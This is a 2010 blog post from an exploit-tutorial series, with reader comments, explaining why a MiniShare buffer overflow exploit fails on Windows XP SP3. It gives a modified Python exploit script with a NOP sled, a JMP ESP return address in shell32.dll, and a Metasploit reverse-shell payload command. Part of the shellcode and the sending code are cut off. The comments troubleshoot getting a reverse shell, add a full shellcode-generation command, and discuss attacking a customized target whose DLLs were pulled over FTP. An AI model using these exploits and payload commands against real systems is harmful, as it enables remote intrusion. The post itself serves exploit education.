Sunday, February 28, 2010

Do the Exploit Tutorials Work Under XP SP3?

I have received a couple of questions from blog readers recently about whether the various exploits I have written in my various exploit tutorials will work under XP SP3, so I thought I would write a quick blog post on the subject here in case other readers were interested.

As mentioned in each of my tutorials, the platform I have been using for my victim machine is XP SP2.  There was no real reason behind this choice of attack platform, its just what I happened to have handy at the time.  I also liked that it uses the same patchlevel as the XP FDCC VHD images, so that people could download these and follow along.

This platform does also give us some interesting exploit protections to work around, such as the SafeSEH settings, and the heap overflow protections, which helps make the tutorials a little more interesting, and it also is a fairly common platform, so it helps make the tutorials relevant.

So whats the difference between XP SP2 and XP SP3 from an exploit perspective?  Well not that much.

There are no significant new exploit protection methods implemented in SP3, so there are no new twists we have to learn to exploit on SP3.  The main difference we will find, is in the structure of modules included with Windows.

In the first exploit tutorial, there were no third party modules included with Minisploit, so when we needed to find a module that included a JMP ESP instruction we ended up looking in a module that comes included with Windows - namely shell32.dll.  We did a search for a JMP ESP instruction in shell32.dll, and used the first one we found, at address 0x7CA58265.

What happens when we search for the first JMP ESP instruction on a machine with SP3 installed?  The first JMP ESP is found at a different address of 0x7C9D30D7.

In a SP3 system, the instruction located at 0x7CA58265 does not contain a JMP ESP at all, it has a completely different instruction.


Because of this difference in the location of the JMP ESP location between XP SP2 and XP SP3 our Minishare exploit will not work unmodified on SP3.  The process of writing the exploit is still valid for SP3 however, we just need to account for the new location of the JMP ESP instruction to make it work.

Something like the following should do it.  The line in bold shows the change between the original exploit and the modified-for-SP3 exploit.

import socket


buffer = "GET "
buffer+= "\x90" * 1787
buffer+= "\xD7\x30\x9D\x7C" # EIP Overwrite. Shell32.dll, XP SP3, JMP ESP, 7C9D30D7.
# msfpayload windows/shell_reverse_tcp LHOST= LPORT=443 R | msfencode -a x86 -b '\x00\x0a\x0d' -t c - x86/shikata_ga_nai 342 bytes
buffer+= "\x90" * 16
buffer+= ("\xdb\xdd\xd9\x74\x24\xf4\x2b\xc9\xb1\x4f\x58\xba\x2c\x98\x23"
buffer+= " HTTP/1.1\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

If you have ever used Metasploit and noticed the "target" option for certain exploits, which has to be set to the appropriate OS version for the exploit to work, you now have an idea of what is going on behind the scenes.  The target setting configures a particular offset within one of that systems modules to allow the exploit to run, and the offset will be different across the different system "targets" for the exploit.

What about the second exploit tutorial?  Well this exploit was able to use an overwrite location from a third party module - one included with the vulnerable program itself.  This means it is not susceptible to failure due to changes in the layout of modules included with Windows, because it doesnt need to access instructions in those modules via hard coded memory addresses.

You can see the BigAnt crash reproduced in SP3 below, and I have tested the exploit written in the second tutorial and can confirm it works completely without modification in XP SP3. 

You may have noticed that I mention the concept of a "Universal exploit" in a number of my tutorials, well this is what I mean by that.  The exploit only uses memory addresses that are included with modules that come with the vulnerable program itself, so regardless of the underlying platform the memory addresses that the exploit reiles on should be the same as long as the version of the vulnerable program is the same.  Now this doesnt always strictly work out in practice, major changes in the host OS can change the behaviour of the client application enough so that the exploit breaks in other ways.  SP2 and SP3 are similar enough however that exploits that dont require the use of hard coded instructions from Windows modules will usually work on both.

I hope this clears up some of the confusion around this issue.  Feel free to ask questions in the comments if any issue needs clarification...


  1. This doesn't seem to work for me. I can hit the JMP ESP and the NOPS, but as soon as I enter the shellcode it seems to fail. Any ideas?

  2. Mark

    How is it failing? Does the program cause an exception in the debugger or do you just not get a shell?

    If "no shell" is the problem, first Id confirm that the shellcode is represented in memory as it is in your exploit. Then Id look for problems in the shellcode itself. Ensure that you used the correct settings when generating it with msfpayload. Obviously the shellcode I have above will only work if your attacking machine has an IP address of, a listener on port 443 AND your victim system can successfully send traffic to the attacker at that location so the reverse shell will work. For anything else you will need to generate your own shellcode.

    If the problem is related to the shellcode causing a program exception, again check that your shellcode is faithfully represented in memory, and then try another encoder and try adding more NOPs. I have had the default shikata_ga_nai encoder cause exceptions in certain situations...

  3. Ok, I will look into it and report back. Also, I was going to reproduce this in a video. Is this ok with you? Obviously, your site and post will be referenced.


  4. Mark

    Sure, if you want to put this in a video thats fine. Give me a link to the video when you're done and I'll post it.

  5. Hey,

    As promised, the video. Comments welcome :) Keep up the work with the tutorials..

  6. Thanks Mark, have added a link to that under the original tutorial page.

  7. Awesome, explaining how to deal with buffer overflow in simple words, that's really something, thank you so much lupin.

    For now I have tested tutorial 1,2,3 in fully SP3 environment (i'm using Windows since many many years, it's a lot easier than Linux for me :), my configuration is as followed, it could help someone:

    - one main XP SP3 machine with Metasploit (for scripts like pattern_create.rb), with Ruby (for executing Metasploit scripts, I don't know how to use Metasploit lol), Python for running scripts from these tutorials, and Cygwin for executing Linux programs like nc, grep, xxd, tr, sed on my main Windows station

    - one XP SP3 installed on VirtualBox and running on the main PC, with OllyDbg 1.10 and the Software to attack. I have not found SEH Chain on OllyDbg 2.00.01, so I use only the v1. This virtual machine simulates the victim and separates my system from the one which is attacked, in the future I could execute bad exploit that could damage my main system, I hope that will limit the mess.

    During my tests, I have found exactly the same address as those used in tutorial 2 and 3, the address was different from the one in the first software.
    I'm facing the same crash problem with OllySSEH.dll.

    A note on viewing the virtualized SP3 machine from the main SP3, I think menu interface for port forwarding is buggy with VirtualBox, I can attack my guest from my main host only after executing the 3 following batch cmd in order to create the tunnel:
    VBoxManage setextradata XP "VBoxInternal/Devices/pcnet/0/LUN#0/Config/guestssh/Protocol" TCP
    VBoxManage setextradata XP "VBoxInternal/Devices/pcnet/0/LUN#0/Config/guestssh/GuestPort" 80
    VBoxManage setextradata XP "VBoxInternal/Devices/pcnet/0/LUN#0/Config/guestssh/HostPort" 2222

    At last, here is the command from tutorial 3 to generate shellcode, I have adapted the command for a fully Windows execution, you can use double quote at the end of the line to run the command successfully:

    ruby D:\Metasploit\msf3\msfpayload windows/shell_reverse_tcp LHOST= LPORT=443 R | D:\Cygwin\bin\xxd -ps | D:\Cygwin\bin\tr 'a-f' 'A-F' | D:\Cygwin\bin\sed -r 's/0A$//' | D:\Cygwin\bin\sed -r "s/$/""/" | D:\Cygwin\bin\sed -r "s/^/""/"

  8. Hi Lupin,

    Sorry to revive an old thread/tutorial, but I have an issue which I cannot seem to solve. In the instance where I can obtain DLL's from the target (IE: use FTP to obtain DLLs), can I analyze the .dll file itself to find any base address changes? My current situation is around a special 'customized' Win XP3 box which has had its Shell32.dll base address changed. The exploit I am modifying utilizes Shell32.dll in a normal scenario but will not work for this case. I have managed to exploit an issue with FTP allowing the extraction of dll files from the filesystem. If possible, how could I go about analyzing the dll from a different systems debugger? When opening the dll in ollydbg the only commands presented are a massive amount of ".N000 ADD BYE PTR DS[:EAX].al"
    Thanks for any help you can offer!

    1. Are you sure the file downloaded correctly, and wasn't mangled during transfer (i.e. FTP downloading in text mode as opposed to binary)? Does it look like a dll when you view it in a Hex Editor? Does the Linux file command recognise it as a 32 bit Windows PE format dll? If so, and OllyDbg isn't working to analyse it for whatever reason, you could try analyzing the dll in some other tool that allows decompiling and analysis of PE files, such as IDA, Radare, CFF Explorer, etc.